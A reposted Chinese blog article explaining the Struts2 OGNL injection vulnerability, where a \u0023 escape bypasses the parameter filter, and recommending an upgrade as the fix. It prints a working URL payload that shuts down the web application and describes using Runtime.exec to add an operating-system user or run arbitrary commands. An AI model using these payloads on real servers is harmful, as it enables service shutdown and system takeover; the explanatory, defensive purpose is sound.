struts2漏洞原理及解決辦法


struts2漏洞原理

  在Struts2的Model-View-Controller模式實現以下五個核心組件:

 

    動作-Actions、攔截器-Interceptors、值棧/OGNL、結果/結果類型、視圖技術

 

     

  Struts2的核心是使用的webwork框架,處理 action時通過調用底層的getter/setter方法來處理http的參數,它將每個http參數聲明為一個ONGL語句。  當我們提交一個http參數:    ?user.address.city=Bishkek&user['favoriteDrink']=kumys 

  ONGL將它轉換為:
    action.getUser().getAddress().setCity("Bishkek") 
    action.getUser().setFavoriteDrink("kumys")
  這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
  為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:
    此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

  轉義后是這樣:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

  OGNL處理時最終的結果就是
    java.lang.Runtime.getRuntime().exit(1); //關閉程序,即將web程序關閉
  類似的可以執行

    java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增加操作系統用戶,在有權限的情況下能成功(在URL中用%20替換空格,%2F替換/)

  只要有權限就可以執行任何DOS命令。

解決方法:

  最簡單的方法為更新struts2的jar包為最新版本,即可!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM